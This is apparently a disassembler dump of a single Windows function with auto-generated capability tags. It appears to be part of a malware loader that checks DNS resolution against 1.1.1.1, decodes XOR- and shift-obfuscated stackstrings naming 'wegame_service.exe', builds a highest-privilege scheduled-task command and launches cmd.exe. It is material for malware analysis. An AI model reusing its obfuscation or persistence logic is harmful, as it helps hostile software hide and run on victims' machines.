Function at 0x140008770
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Parse pe header
Reference cloudflare dns server

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
xor edi, edi
mov dword [rbp + 0x5f0], edi
cmp dword [0x14001ed50], edi
je 0x1400087ab
mov ecx, 0x98967f
call qword [0x14001ef58]
jmp 0x140009e04
cmp dword [0x14001eaf8], edi
je 0x140009dfa
xorps xmm0, xmm0
movups xmmword [rbp + 0x128], xmm0
mov qword [rbp + 0x138], rdi
mov qword [rbp + 0x140], 0xf
mov ecx, 0x20
call fcn.140011f0c
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x138], 0x18
mov qword [rbp + 0x140], 0x1f
movups xmm0, xmmword [str.dns.ms_api_microsoft.com]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140017d40]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], dil
xorps xmm0, xmm0
movups xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x178], 7
mov qword [rbp + 0x180], 0xf
mov rax, qword [str.1.1.1.1]
mov dword [rbp + 0x168], eax
movzx eax, word [0x140017d2c]
mov word [rbp + 0x16c], ax
movzx eax, byte [0x140017d2e]
mov byte [rbp + 0x16e], al
mov byte [rbp + 0x16f], 0
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x1c8]
call fcn.14000dec0
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140008884
mov rcx, qword [rax]
mov r8, qword [rax + 0x10]
cmp r8, 7
jne 0x1400088a3
lea rdx, [rbp + 0x168]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400088a3
xor r15b, r15b
jmp 0x1400088a6
mov r15b, 1
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 0xf
jbe 0x1400088ea
inc rdx
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400088e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400088e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011f48
movdqa xmm0, xmmword [0x140018f00]
movdqu xmmword [rbp + 0x1d8], xmm0
mov byte [rbp + 0x1c8], 0
mov qword [rbp + 0x178], rdi
mov qword [rbp + 0x180], 0xf
mov byte [rbp + 0x168], 0
mov rdx, qword [rbp + 0x140]
cmp rdx, 0xf
jbe 0x14000895e
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008959
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008959
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011f48
mov qword [rbp + 0x138], rdi
mov qword [rbp + 0x140], 0xf
mov byte [rbp + 0x128], 0
mov dword [rsp + 0x44], 0x2d
mov eax, dword [rsp + 0x44]
xor al, 0x5b
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x44]
inc al
xor al, 0x2d
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x44]
add al, 2
xor al, 0x5d
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x44]
add al, 3
xor al, 0x20
mov byte [rsp + 0x4b], al
mov eax, dword [rsp + 0x44]
add al, 4
xor al, 0x74
mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x44]
add al, 5
xor al, 0x72
mov byte [rsp + 0x4d], al
mov eax, dword [rsp + 0x44]
add al, 6
xor al, 0x79
mov byte [rsp + 0x4e], al
mov eax, dword [rsp + 0x44]
add al, 7
xor al, 0x20
mov byte [rsp + 0x4f], al
mov eax, dword [rsp + 0x44]
add al, 8
xor al, 0x6c
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x44]
add al, 9
xor al, 0x6f
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x44]
add al, 0xa
xor al, 0x61
mov byte [rsp + 0x52], al
mov eax, dword [rsp + 0x44]
add al, 0xb
xor al, 0x64
mov byte [rsp + 0x53], al
mov eax, dword [rsp + 0x44]
add al, 0xc
xor al, 0x69
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x44]
add al, 0xd
xor al, 0x6e
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x44]
add al, 0xe
xor al, 0x67
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x44]
add al, 0xf
xor al, 0x20
mov byte [rsp + 0x57], al
mov eax, dword [rsp + 0x44]
add al, 0x10
xor al, 0x77
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x44]
add al, 0x11
xor al, 0x65
mov byte [rsp + 0x59], al
mov eax, dword [rsp + 0x44]
add al, 0x12
xor al, 0x67
mov byte [rsp + 0x5a], al
mov eax, dword [rsp + 0x44]
add al, 0x13
xor al, 0x61
mov byte [rsp + 0x5b], al
mov eax, dword [rsp + 0x44]
add al, 0x14
xor al, 0x6d
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x44]
add al, 0x15
xor al, 0x65
mov byte [rsp + 0x5d], al
mov eax, dword [rsp + 0x44]
add al, 0x16
xor al, 0x5f
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x44]
add al, 0x17
xor al, 0x73
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x44]
add al, 0x18
xor al, 0x65
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x44]
add al, 0x19
xor al, 0x72
mov byte [rsp + 0x61], al
mov eax, dword [rsp + 0x44]
add al, 0x1a
xor al, 0x76
mov byte [rsp + 0x62], al
mov eax, dword [rsp + 0x44]
add al, 0x1b
xor al, 0x69
mov byte [rsp + 0x63], al
mov eax, dword [rsp + 0x44]
add al, 0x1c
xor al, 0x63
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x44]
add al, 0x1d
xor al, 0x65
mov byte [rsp + 0x65], al
mov eax, dword [rsp + 0x44]
add al, 0x1e
xor al, 0x2e
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x44]
add al, 0x1f
xor al, 0x65
mov byte [rsp + 0x67], al
mov eax, dword [rsp + 0x44]
add al, 0x20
xor al, 0x78
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x44]
add al, 0x21
xor al, 0x65
mov byte [rsp + 0x69], al
xor eax, eax
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x48]
mov rdx, rdi
movzx eax, byte [rsp + rdx + 0x48]
mov ecx, dword [rsp + 0x44]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x48], cl
inc rdx
cmp rdx, 0x22
jb 0x140008b23
mov byte [rsp + 0x6a], 0
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x2c8]
call fcn.140003870
mov rcx, rax
call fcn.14000d080
mov byte [rbp - 0x41], 0x4c
mov byte [rbp - 0x40], 0x43
mov byte [rbp - 0x3f], 0x65
mov byte [rbp - 0x3e], 0x59
mov byte [rbp - 0x3d], 0x7b
mov byte [rbp - 0x3c], 0x78
mov byte [rbp - 0x3b], WSAStartup
mov byte [rbp - 0x3a], 0x7b
mov byte [rbp - 0x39], 0x6a
mov byte [rbp - 0x38], 0x76
mov byte [rbp - 0x37], 0x29
mov byte [rbp - 0x36], 0x4f
mov byte [rbp - 0x35], WSACleanup
mov byte [rbp - 0x34], 0x75
mov byte [rbp - 0x33], 0x6e
mov byte [rbp - 0x32], 0x7c
mov byte [rbp - 0x31], 0x29
mov byte [rbp - 0x30], 0x31
mov byte [rbp - 0x2f], 0x81
mov byte [rbp - 0x2e], 0x41
mov byte [rbp - 0x2d], 0x3f
mov byte [rbp - 0x2c], 0x32
mov byte [rbp - 0x2b], 0x65
mov byte [rbp - 0x2a], 0x60
mov byte [rbp - 0x29], 0x6e
mov byte [rbp - 0x28], WSAStartup
mov byte [rbp - 0x27], 0x6a
mov byte [rbp - 0x26], 0x76
mov byte [rbp - 0x25], 0x6e
mov byte [rbp - 0x24], 0x65
mov byte [rbp - 0x23], 0x80
mov byte [rbp - 0x22], 0x6e
mov byte [rbp - 0x21], WSAStartup
mov byte [rbp - 0x20], 0x6a
mov byte [rbp - 0x1f], 0x76
mov byte [rbp - 0x1e], 0x6e
mov byte [rbp - 0x1d], 0x68
mov byte [rbp - 0x1c], 0x7c
mov byte [rbp - 0x1b], 0x6e
mov byte [rbp - 0x1a], 0x7b
mov byte [rbp - 0x19], 0x7f
mov byte [rbp - 0x18], WSACleanup
mov byte [rbp - 0x17], 0x6c
mov byte [rbp - 0x16], 0x6e
mov byte [rbp - 0x15], 0x37
mov byte [rbp - 0x14], 0x6e
mov byte [rbp - 0x13], 0x81
mov byte [rbp - 0x12], 0x6e
mov byte [rbp - 0x11], 0
movzx eax, byte [rbp - 0x41]
mov rcx, rdi
nop word [rax + rax]
movzx eax, byte [rbp + rcx - 0x41]
sub al, 9
mov byte [rbp + rcx - 0x41], al
inc rcx
cmp rcx, 0x30
jb 0x140008c30
lea rdx, [rbp - 0x41]
lea rcx, [rbp + 0xc8]
call fcn.140003870
nop
mov dword [rsp + 0x6c], 0x35
mov eax, dword [rsp + 0x6c]
xor al, 0x77
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x6c]
inc al
xor al, 0x65
mov byte [rsp + 0x71], al
mov eax, dword [rsp + 0x6c]
add al, 2
xor al, 0x67
mov byte [rsp + 0x72], al
mov eax, dword [rsp + 0x6c]
add al, 3
xor al, 0x61
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x6c]
add al, 4
xor al, 0x6d
mov byte [rsp + 0x74], al
mov eax, dword [rsp + 0x6c]
add al, 5
xor al, 0x65
mov byte [rsp + 0x75], al
mov eax, dword [rsp + 0x6c]
add al, 6
xor al, 0x5f
mov byte [rsp + 0x76], al
mov eax, dword [rsp + 0x6c]
add al, 7
xor al, 0x73
mov byte [rsp + 0x77], al
mov eax, dword [rsp + 0x6c]
add al, 8
xor al, 0x65
mov byte [rsp + 0x78], al
mov eax, dword [rsp + 0x6c]
add al, 9
xor al, 0x72
mov byte [rsp + 0x79], al
mov eax, dword [rsp + 0x6c]
add al, 0xa
xor al, 0x76
mov byte [rsp + 0x7a], al
mov eax, dword [rsp + 0x6c]
add al, 0xb
xor al, 0x69
mov byte [rsp + 0x7b], al
mov eax, dword [rsp + 0x6c]
add al, 0xc
xor al, 0x63
mov byte [rsp + 0x7c], al
mov eax, dword [rsp + 0x6c]
add al, 0xd
xor al, 0x65
mov byte [rsp + 0x7d], al
mov eax, dword [rsp + 0x6c]
add al, 0xe
xor al, 0x2e
mov byte [rsp + 0x7e], al
mov eax, dword [rsp + 0x6c]
add al, 0xf
xor al, 0x65
mov byte [rsp + 0x7f], al
mov eax, dword [rsp + 0x6c]
add al, 0x10
xor al, 0x78
mov byte [rbp - 0x80], al
mov eax, dword [rsp + 0x6c]
add al, 0x11
xor al, 0x65
mov byte [rbp - 0x7f], al
xor eax, eax
mov byte [rbp - 0x7e], al
movzx eax, byte [rsp + 0x70]
mov rdx, rdi
nop
movzx eax, byte [rsp + rdx + 0x70]
mov ecx, dword [rsp + 0x6c]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x70], cl
inc rdx
cmp rdx, 0x12
jb 0x140008d40
mov byte [rbp - 0x7e], 0
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x2a8]
call fcn.140003870
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], rdi
mov r8d, 0xf
mov qword [rbp + 0xc0], r8
mov byte [rbp + 0xa8], 0
mov dword [rbp + 0x5f0], 2
lea rbx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], r8
cmova rbx, qword [rbp + 0xc8]
lea rcx, [rbp + 0xc8]
cmova rcx, qword [rbp + 0xc8]
mov r14, qword [rbp + 0xd8]
add r14, rcx
cmp rbx, r14
je 0x140008e81
movzx esi, byte [rbx]
cmp sil, 0x5c
jne 0x140008e28
mov rcx, qword [rbp + 0xb8]
cmp rcx, r8
jae 0x140008e12
lea rax, [rcx + 1]
mov qword [rbp + 0xb8], rax
lea rax, [rbp + 0xa8]
cmp r8, 0xf
cmova rax, qword [rbp + 0xa8]
mov word [rax + rcx], 0x5c
jmp 0x140008e21
mov r9b, 0x5c
lea rcx, [rbp + 0xa8]
call fcn.1400033a0
mov r8, qword [rbp + 0xc0]
mov rcx, qword [rbp + 0xb8]
cmp rcx, r8
jae 0x140008e5d
lea rax, [rcx + 1]
mov qword [rbp + 0xb8], rax
lea rax, [rbp + 0xa8]
cmp r8, 0xf
cmova rax, qword [rbp + 0xa8]
mov byte [rax + rcx], sil
mov byte [rax + rcx + 1], 0
jmp 0x140008e6d
movzx r9d, sil
lea rcx, [rbp + 0xa8]
call fcn.1400033a0
inc rbx
cmp rbx, r14
je 0x140008e81
mov r8, qword [rbp + 0xc0]
jmp 0x140008dd7
lea rcx, [rbp + 0x228]
call fcn.14000e180
nop
mov rdx, rax
lea rcx, [rbp + 0x208]
call fcn.14000d730
mov r8, rax
mov byte [rbp - 0x70], 0x36
mov byte [rbp - 0x6f], 0x6a
mov byte [rbp - 0x6e], 0x27
mov byte [rbp - 0x6d], 0x5a
mov byte [rbp - 0x6c], 0x4a
mov byte [rbp - 0x6b], 0x4f
mov byte [rbp - 0x6a], 0x5b
mov byte [rbp - 0x69], 0x48
mov byte [rbp - 0x68], 0x5a
mov byte [rbp - 0x67], 0x52
mov byte [rbp - 0x66], 0x5a
mov byte [rbp - 0x65], 0x27
mov byte [rbp - 0x64], 0x36
mov byte [rbp - 0x63], 0x4a
mov byte [rbp - 0x62], 0x79
mov byte [rbp - 0x61], 0x6c
mov byte [rbp - 0x60], 0x68
mov byte [rbp - 0x5f], 0x7b
mov byte [rbp - 0x5e], 0x6c
mov byte [rbp - 0x5d], 0x27
mov byte [rbp - 0x5c], 0x36
mov byte [rbp - 0x5b], 0x4d
mov byte [rbp - 0x5a], 0x27
mov byte [rbp - 0x59], 0x36
mov byte [rbp - 0x58], 0x5b
mov byte [rbp - 0x57], 0x55
mov byte [rbp - 0x56], 0x27
mov byte [rbp - 0x55], 0x29
mov byte [rbp - 0x54], 0x63
mov byte [rbp - 0x53], 0x57
mov byte [rbp - 0x52], 0x68
mov byte [rbp - 0x51], 0x80
mov byte [rbp - 0x50], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x4f], 0x76
mov byte [rbp - 0x4e], 0x68
mov byte [rbp - 0x4d], 0x6b
mov byte [rbp - 0x4c], 0x5b
mov byte [rbp - 0x4b], 0x68
mov byte [rbp - 0x4a], 0x7a
mov byte [rbp - 0x49], WSACleanup
mov byte [rbp - 0x48], 0x29
mov byte [rbp - 0x47], 0x27
mov byte [rbp - 0x46], 0x36
mov byte [rbp - 0x45], 0x59
mov byte [rbp - 0x44], 0x5c
mov byte [rbp - 0x43], 0x27
mov byte [rbp - 0x42], 0
movzx eax, byte [rbp - 0x70]
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx - 0x70]
sub al, 7
mov byte [rbp + rcx - 0x70], al
inc rcx
cmp rcx, 0x2e
jb 0x140008f70
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x1e8]
call fcn.140004e00
mov rsi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x26
jb 0x140008fde
lea rax, [rcx + 0x26]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp rdx, 0xf
jbe 0x140008fbf
mov rax, qword [rsi]
lea rbx, [rax + rcx]
mov r8d, 0x26
lea rdx, str._RL_HIGHEST__SC_ONCE__ST_00:00__TR___
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x26], 0
jmp 0x140008ffe
mov qword [rsp + 0x20], 0x26
lea r9, str._RL_HIGHEST__SC_ONCE__ST_00:00__TR___
mov edx, 0x26
mov rcx, rsi
call fcn.140003510
mov rsi, rax
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x188], xmm0
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rbp + 0x198], xmm1
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov dword [rbp + 0x5f0], 6
lea r9, [rbp + 0xa8]
lea r8, [rbp + 0x188]
lea rcx, [rbp + 0x1a8]
call fcn.140009e30
mov dword [rbp + 0x5f0], 0xe
mov byte [rbp - 0x10], 0x66
mov byte [rbp - 0xf], 0x2c
mov byte [rbp - 0xe], 0x2c
mov byte [rbp - 0xd], 0x2a
mov byte [rbp - 0xc], 0x30
mov byte [rbp - 0xb], 0x2a
mov byte [rbp - 0xa], 0x5d
mov byte [rbp - 9], 0x4d
mov byte [rbp - 8], 0x52
mov byte [rbp - 7], 0x5e
mov byte [rbp - 6], 0x4b
mov byte [rbp - 5], 0x5d
mov byte [rbp - 4], 0x55
mov byte [rbp - 3], 0x5d
mov byte [rbp - 2], 0x2a
mov byte [rbp - 1], 0x39
mov byte [rbp], 0x5c
mov byte [rbp + 1], 0x7f
mov byte [rbp + 2], 0x78
mov byte [rbp + 3], 0x2a
mov byte [rbp + 4], 0x39
mov byte [rbp + 5], 0x5e
mov byte [rbp + 6], 0x58
mov byte [rbp + 7], 0x2a
mov byte [rbp + 8], 0x2c
mov byte [rbp + 9], 0x66
mov byte [rbp + 0xa], 0x5a
mov byte [rbp + 0xb], 0x6b
mov byte [rbp + 0xc], 0x83
mov byte [rbp + 0xd], 0x76
mov byte [rbp + 0xe], 0x79
mov byte [rbp + 0xf], 0x6b
mov byte [rbp + 0x10], 0x6e
mov byte [rbp + 0x11], 0x5e
mov byte [rbp + 0x12], 0x6b
mov byte [rbp + 0x13], 0x7d
mov byte [rbp + 0x14], 0x75
mov byte [rbp + 0x15], 0x2c
mov byte [rbp + 0x16], 0x2a
mov byte [rbp + 0x17], 0x30
mov byte [rbp + 0x18], 0x2a
mov byte [rbp + 0x19], 0x7d
mov byte [rbp + 0x1a], 0x6d
mov byte [rbp + 0x1b], WSACleanup
mov byte [rbp + 0x1c], 0x7e
mov byte [rbp + 0x1d], 0x6b
mov byte [rbp + 0x1e], 0x7d
mov byte [rbp + 0x1f], 0x75
mov byte [rbp + 0x20], 0x7d
mov byte [rbp + 0x21], 0x2a
mov byte [rbp + 0x22], 0x39
mov byte [rbp + 0x23], 0x4e
mov byte [rbp + 0x24], 0x6f
mov byte [rbp + 0x25], 0x76
mov byte [rbp + 0x26], 0x6f
mov byte [rbp + 0x27], 0x7e
mov byte [rbp + 0x28], 0x6f
mov byte [rbp + 0x29], 0x2a
mov byte [rbp + 0x2a], 0x39
mov byte [rbp + 0x2b], 0x5e
mov byte [rbp + 0x2c], 0x58
mov byte [rbp + 0x2d], 0x2a
mov byte [rbp + 0x2e], 0x2c
mov byte [rbp + 0x2f], 0x66
mov byte [rbp + 0x30], 0x5a
mov byte [rbp + 0x31], 0x6b
mov byte [rbp + 0x32], 0x83
mov byte [rbp + 0x33], 0x76
mov byte [rbp + 0x34], 0x79
mov byte [rbp + 0x35], 0x6b
mov byte [rbp + 0x36], 0x6e
mov byte [rbp + 0x37], 0x5e
mov byte [rbp + 0x38], 0x6b
mov byte [rbp + 0x39], 0x7d
mov byte [rbp + 0x3a], 0x75
mov byte [rbp + 0x3b], 0x2c
mov byte [rbp + 0x3c], 0x2a
mov byte [rbp + 0x3d], 0x39
mov byte [rbp + 0x3e], 0x50
mov byte [rbp + 0x3f], 0
movzx eax, byte [rbp - 0x10]
mov rcx, rdi
nop word [rax + rax]
movzx eax, byte [rbp + rcx - 0x10]
sub al, 0xa
mov byte [rbp + rcx - 0x10], al
inc rcx
cmp rcx, 0x4f
jb 0x1400091a0
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x1a8]
call fcn.140003270
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0xf
jbe 0x140009241
inc rdx
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000923c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000923c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011f48
movdqa xmm0, xmmword [0x140018f00]
movdqu xmmword [rbp + 0x1b8], xmm0
mov byte [rbp + 0x1a8], 0
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0xf
jbe 0x14000929c
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009297
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009297
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011f48
movdqa xmm0, xmmword [0x140018f00]
movdqu xmmword [rbp + 0x198], xmm0
mov byte [rbp + 0x188], 0
mov rdx, qword [rbp + 0x200]
cmp rdx, 0xf
jbe 0x1400092f7
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400092f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400092f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011f48
movdqa xmm0, xmmword [0x140018f00]
movdqu xmmword [rbp + 0x1f8], xmm0
mov byte [rbp + 0x1e8], 0
mov rdx, qword [rbp + 0x220]
cmp rdx, 0xf
jbe 0x140009352
inc rdx
mov rcx, qword [rbp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000934d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000934d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011f48
movdqa xmm0, xmmword [0x140018f00]
movdqu xmmword [rbp + 0x218], xmm0
mov byte [rbp + 0x208], 0
mov rdx, qword [rbp + 0x240]
cmp rdx, 7
jbe 0x1400093b2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400093ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400093ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011f48
movdqa xmm0, xmmword [0x140018ef0]
movdqu xmmword [rbp + 0x238], xmm0
mov word [rbp + 0x228], di
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x14000940d
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009408
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009408
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011f48
mov qword [rbp + 0xb8], rdi
mov qword [rbp + 0xc0], 0xf
mov byte [rbp + 0xa8], 0
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x248]
call fcn.14000d600
nop
mov dword [rbp + 0x5f0], 0x1d
cmp qword [rax + 0x18], 7
jbe 0x14000944e
mov rax, qword [rax]
lea rdx, [rbp + 0x370]
mov rcx, rax
call qword [0x14001edf8]
cmp rax, 0xffffffffffffffff
jne 0x1400094c9
mov rcx, rax
call qword [0x14001ee60]
xor bl, bl
mov dword [rbp + 0x5f0], 0x1c
mov rdx, qword [rbp + 0x260]
cmp rdx, 7
jbe 0x140009606
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009601
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009601
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rax
call qword [0x14001ee60]
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
mov qword [rbp + 0x158], rdi
mov qword [rbp + 0x160], rdi
lea r14, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova r14, qword [rbp + 0xc8]
mov rsi, qword [rbp + 0xd8]
movabs rbx, 0x7fffffffffffffff
cmp rsi, rbx
ja 0x140009e1b
mov qword [rbp + 0x160], 0xf
cmp rsi, 0xf
ja 0x140009543
mov qword [rbp + 0x158], rsi
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x148], xmm0
jmp 0x1400095e0
mov rax, rsi
or rax, 0xf
cmp rax, rbx
jbe 0x14000957b
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140011f0c
mov rcx, rax
test rax, rax
je 0x1400095a6
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400095bc
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400095ad
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140009e21
jmp 0x14000955d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400095b9
call fcn.140011f0c
jmp 0x1400095bc
mov rax, rdi
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x158], rsi
mov qword [rbp + 0x160], rbx
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x148]
call fcn.14000dd50
comisd xmm0, xmmword [0x140018ed8]
jbe 0x14000946d
mov bl, 1
jmp 0x14000946f
call fcn.140011f48
movdqa xmm0, xmmword [0x140018ef0]
movdqu xmmword [rbp + 0x258], xmm0
mov word [rbp + 0x248], di
test bl, bl
je 0x1400097be
lea r9, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova r9, qword [rbp + 0xe8]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r8, str.cmd.exe
lea rdx, [0x140017cb0]
xor ecx, ecx
call qword [0x14001eea8]
mov dword [rbp + 0x70], 0x20
mov byte [rbp + 0x74], 0x7b
mov byte [rbp + 0x75], 0xd
mov byte [rbp + 0x76], 0x7d
mov byte [rbp + 0x77], 0
mov byte [rbp + 0x78], 0x4c
mov byte [rbp + 0x79], 0x4f
mov byte [rbp + 0x7a], 0x41
mov byte [rbp + 0x7b], 0x44
mov byte [rbp + 0x7c], 0x45
mov byte [rbp + 0x7d], 0x44
mov byte [rbp + 0x7e], 0
mov byte [rbp + 0x7f], 0x57
mov byte [rbp + 0x80], 0x45
mov byte [rbp + 0x81], 0x47
mov byte [rbp + 0x82], 0x41
mov byte [rbp + 0x83], 0x4d
mov byte [rbp + 0x84], 0x45
mov byte [rbp + 0x85], 0x7f
mov byte [rbp + 0x86], 0x53
mov byte [rbp + 0x87], 0x45
mov byte [rbp + 0x88], 0x52
mov byte [rbp + 0x89], 0x56
mov byte [rbp + 0x8a], 0x49
mov byte [rbp + 0x8b], 0x43
mov byte [rbp + 0x8c], 0x45
mov byte [rbp + 0x8d], 0xe
mov byte [rbp + 0x8e], 0x45
mov byte [rbp + 0x8f], 0x58
mov byte [rbp + 0x90], 0x45
mov byte [rbp + 0x91], 0
mov byte [rbp + 0x92], 0x46
mov byte [rbp + 0x93], 0x52
mov byte [rbp + 0x94], 0x4f
mov byte [rbp + 0x95], 0x4d
mov byte [rbp + 0x96], 0
mov byte [rbp + 0x97], 0x4c
mov byte [rbp + 0x98], 0x4f
mov byte [rbp + 0x99], 0x43
mov byte [rbp + 0x9a], 0x41
mov byte [rbp + 0x9b], 0x4c
mov byte [rbp + 0x9c], 0
mov byte [rbp + 0x9d], 0x44
mov byte [rbp + 0x9e], 0x49
mov byte [rbp + 0x9f], 0x53
mov byte [rbp + 0xa0], 0x4b
xor eax, eax
mov byte [rbp + 0xa1], al
movzx eax, byte [rbp + 0x74]
nop word [rax + rax]
movzx eax, byte [rbp + rdi + 0x74]
mov ecx, dword [rbp + 0x70]
xor cl, al
mov byte [rbp + rdi + 0x74], cl
inc rdi
cmp rdi, 0x2d
jb 0x140009790
mov byte [rbp + 0xa1], 0
lea rdx, [rbp + 0x74]
lea rcx, [rbp + 0x2e8]
jmp 0x140009d06
test r15b, r15b
je 0x1400097d3
mov ecx, 0x493e0
call qword [0x14001ef58]
jmp 0x140009d14
